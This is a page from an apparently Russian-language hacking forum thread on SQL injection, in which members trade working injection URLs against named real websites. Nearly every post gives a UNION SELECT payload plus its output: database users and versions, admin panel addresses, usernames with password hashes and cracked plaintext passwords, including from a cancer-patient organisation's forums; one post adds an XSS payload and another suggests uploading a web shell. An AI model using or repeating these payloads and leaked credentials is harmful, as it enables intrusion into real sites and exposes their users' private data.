SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 210 of 798
  1. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    alouettecanada.ca
    Code:
    http://www.alouettecanada.ca/press_releases-f.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
     
    #4181 AFoST, 26 Dec 2007
    1 person likes this.
  2. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    statistik.basketball-bundesliga.de

    HTML:
    http://statistik.basketball-bundesliga.de/print_player.php?liga_id=1&team_id=413+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    HTML:
    http://statistik.basketball-bundesliga.de/print_player.php?liga_id=1&team_id=413+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
    USER:bblstats@localhost
    VERSION::4.1.11-Debian_4sarge7
    DATABASE:usr_web1_1

    Вот тут админка еще:
    HTML:
    http://statistik.basketball-bundesliga.de/admin/
     
    #4182 .Begemot., 26 Dec 2007
    3 people like this.
  3. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    mypspwebsite.com

    4.1.21-standard: psp :itl@localhost

    root:42da70e829fb058d
    itl_safeboating0:14ed81343ed8ed5b
    mycms:042b624758e485a0
    itl:26a3e0e614cf0724
    accomm:5210de0d20737caa
    lynx:32335d666b6b535d
    ArthurJenkins001:6180cc7a02f27b63
    licence:71801f1a6ca21bc2
    tucantravel:5f42297b6482f1b4
    toucan001:0dbe24ad0d0f6594
    _____________________________________________
    www.moriahhaggadah.com

    5.0.32-Debian_7etch3-log:aistore:aistore@localhost
    _____________________________________________
    www.traditionalhousedesign.ca

    5.0.45-log:housedesign:housedesign@localhost
     
    #4183 ThreeD, 26 Dec 2007
    Last edited: 26 Dec 2007
    3 people like this.
  4. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.ugmk.info/?art=-1+union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9/*

    4.0.26-log/ugmk/ugmk@localhost

    тут же XSS в поиске <script>alert()</script>

    -----------------------------------------------------------------------------

    http://www.uel.ru/newstext.asp?id=-1+or+1=@@version--

    Microsoft SQL Server 7.00 - 7.00.1094 (Intel X86) May 29 2003 15:21:25 Copyright (c) 1988-2002 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

    http://www.uel.ru/newstext.asp?id=-1+or+1=(select+db_name())-- uel

    http://www.uel.ru/newstext.asp?id=-1+or+1=(select+system_user)-- WWW\IUSR_WWW
     
    #4184 ElteRUS, 26 Dec 2007
    3 people like this.
  5. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    www.aei.brookings.org

    HTML:
    http://www.aei.brookings.org/publications/abstract.php?pid=-296+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(version(),0x3a,user(),0x3a,database()),15,16,17,18,19/*
    4.0.25-standard-log:[email protected]:aei_brookings
     
    #4185 ~EviL~, 26 Dec 2007
  6. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    www.smolbibl.ru
    5.0.45-community
    Admin:Андрей:5:dtkbrj,hbnfybz:[email protected]:Метелица
    login:Admin
    pass:dtkbrj,hbnfybz
    http://www.smolbibl.ru/admin.php
    но пароль не подходит :( ... не знаю что делать ((
     
    #4186 159932, 26 Dec 2007
  7. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    http://soft.oszone.net

    HTML:
    http://soft.oszone.net/program.php?pid=-30+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(version(),0x3a,user(),0x3a,database()),11,12,13,14,15,16,17,18,19,20,21,22,23/*
    4.1.22-log:bigmac_soft@localhost:bigmac_soft
     
    #4187 ~EviL~, 26 Dec 2007
  8. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.europa.fm/ru/index.html?c=about&id=-1+union+select+1,2,3,4,concat_ws(0x2F,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),6,7,8/*

    4.1.14-standard/europa/europa@localhost

    -----------------------------------------------------------------------------
    art-catalog.ru

    http://www.picture.art-catalog.ru/artist.php?id_artist=-4+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5/*

    4.1.22-log/artcata8_artcatalog/artcata8_Bos37ar@localhost



    http://www.picture.art-catalog.ru/artist.php?id_artist=-4+union+select+1,concat_ws(0x2F,user_login,user_password,email),3,4,5+from+users/*

    логин/пароль/мейл
    valent/valent46/[email protected]
     
    #4188 ElteRUS, 27 Dec 2007
    1 person likes this.
  9. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    SexSecrets.ru ^ ^
    Code:
    http://sexsecrets.ru/index.php?r=menlogic&id=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4+--+
    5.0.26:sexsecrets_ru@localhost:sexsecrets_ru

    Таблицка:
    phpbb_users
    Столбцы:
    user_id
    username
    user_password
    Code:
    http://sexsecrets.ru/index.php?r=menlogic&id=-1+union+select+1,concat_ws(0x3a,user_id,username,user_password),3,4+from+phpbb_users+limit+1,1/*
    Code:
    2:Admin:be245c9762fe4ae6f40bbf944e0de243
     
    #4189 Roba, 27 Dec 2007
    4 people like this.
  10. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    http://www.dovodchiki-dorma.ru/links/?cat=-1+union+select+user()/*

    Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'


    http://www.tsaritsyno.ru/main.jsp?id=-1+order+by+3/*
     
    #4190 Mike 007, 27 Dec 2007
  11. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    http://www.taniec.ilife.pl/para.php?id=-1+order+by+2/*
     
    #4191 heks, 27 Dec 2007
    1 person likes this.
  12. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.onboard.ru
    Code:
    http://www.onboard.ru/resort/?id=-1+union+select+user()/*

    Code:
    http://s1912.zouo.ru/site.php?id=-1+union+select+user(),2,3/*
     
    #4192 Mike 007, 27 Dec 2007
    Last edited: 27 Dec 2007
    1 person likes this.
  13. Saint-Sky

    Saint-Sky Elder - Старейшина

    Joined:
    14 Jul 2007
    Messages:
    119
    Likes Received:
    77
    Reputations:
    27
    Эта запись ни о чем не говорит, ведь столбцов то - 4.


    Code:
    http://www.taniec.ilife.pl/para.php?id=-1+UNION+SELECT+1,2,3,concat(user(),0x3a,database(),0x3a,version())/*
    taniec_adner@localhost:taniec_taniec:4.1.22-standard
     
    #4193 Saint-Sky, 27 Dec 2007
  14. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://dctel.net/index.php?page=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4/*

    4.0.23a-log/dctel/dctel_user@localhost

    -----------------------------------------------------------------------------

    http://www.arbicon.ru/news/?id=-1+or+1=@@version--

    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

    http://www.arbicon.ru/news/?id=-1+or+1=(select+db_name())-- portal

    http://www.arbicon.ru/news/?id=-1+or+1=(select+system_user)-- portal
     
    #4194 ElteRUS, 27 Dec 2007
    3 people like this.
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    www.glukometr.ru
    5.0.45-community
    login:admin
    pass:123
    де админка ненаю ((
     
    #4195 159932, 27 Dec 2007
    2 people like this.
  16. NilsonUA

    NilsonUA Elder - Старейшина

    Joined:
    25 Nov 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    2
    http://www.archivespro.ru/index.php?news=-18+union+select+1,2,concat(user(),0x3a,database(),0x3a,version()),4,5,6,7,8,9,10,11,12/*

    archive9_2@localhost:archive9_arhiv:4.1.22-log
     
    #4196 NilsonUA, 27 Dec 2007
  17. Saint-Sky

    Saint-Sky Elder - Старейшина

    Joined:
    14 Jul 2007
    Messages:
    119
    Likes Received:
    77
    Reputations:
    27
    2 159932

    Посмотрел robots, по идее должна быть в /admin/, но там нету...

    Попробуй таблицы от форума. (phpbb_users) - Если подберешь пасс, то можешь залить шелл...


    Code:
    http://www.glukometr.ru/article.php?action=ViewArticle&ID=360+UNION+SELECT+1,concat(username,0x3a,user_password),3,4,5+from+gurujen_forum.phpbb_users/*
    Ольга:82e0839b64d121ef7154f2b8d5b27351:qween1
     
    #4197 Saint-Sky, 27 Dec 2007
    Last edited: 27 Dec 2007
  18. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    да я то знаю ... просто префикс никак найти не мог .. ты нашёл - возьми с полки пирожок
     
    #4198 159932, 27 Dec 2007
  19. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    ultimate.com.ua
    Пятая
    login:Стрелка
    hesh:260a4f2ad2b1ae4ddf66f780172c6ce9
    pass:ghjkbd
     
    #4199 159932, 27 Dec 2007
  20. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    www.netoncology.ru - Союз Противораковых Организаций России

    Аж 4 таблицы с пользователями....
    (вывод данных в первой строчке вверху)

    Forum_Users:

    Code:
    http://www.netoncology.ru/view.php?id=-506'+union+select+concat_ws(0x3a,NikName,EMail,Pass)+from+Forum_Users+limit+0,1/*
    Users:

    Code:
    http://www.netoncology.ru/view.php?id=-506'+union+select+concat_ws(0x3a,UserLogin,UserPwd)+from+Users+limit+0,1/*
    phpbb_patients_users:

    Code:
    http://www.netoncology.ru/view.php?id=-506'+union+select+concat_ws(0x3a,username,User_Password)+from+phpbb_patients_users+limit+1,1/*
    phpbb_specialists_users:

    Code:
    http://www.netoncology.ru/view.php?id=-506'+union+select+concat_ws(0x3a,username,User_Password)+from+phpbb_specialists_users+limit+1,1/*
    Все таблицы перебираем лимитом...

    Админка:

    http://netoncology.ru/admin/

    login:admin
    pass:ghbdtn

    С наступающим=)
     
    #4200 Ded MustD!e, 27 Dec 2007
    4 people like this.
(You must log in or sign up to post here.)
Page 210 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.